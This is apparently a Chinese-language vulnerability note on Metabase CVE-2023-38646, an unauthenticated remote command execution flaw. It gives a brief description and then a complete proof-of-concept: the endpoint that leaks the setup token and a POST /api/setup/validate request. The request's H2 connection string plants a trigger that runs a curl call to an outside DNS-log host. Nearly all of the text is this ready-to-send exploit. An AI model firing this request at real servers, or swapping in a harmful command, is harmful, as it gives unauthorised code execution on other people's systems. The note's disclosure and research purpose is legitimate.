Metabase validate 远程命令执行漏洞 CVE-2023-38646¶
漏洞描述¶
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令
漏洞影响¶
网络测绘¶
漏洞复现¶
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验证POC
/api/session/properties
POST /api/setup/validate HTTP/1.1
Host:
Content-Type: application/json
Content-Length: 812
{
"token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}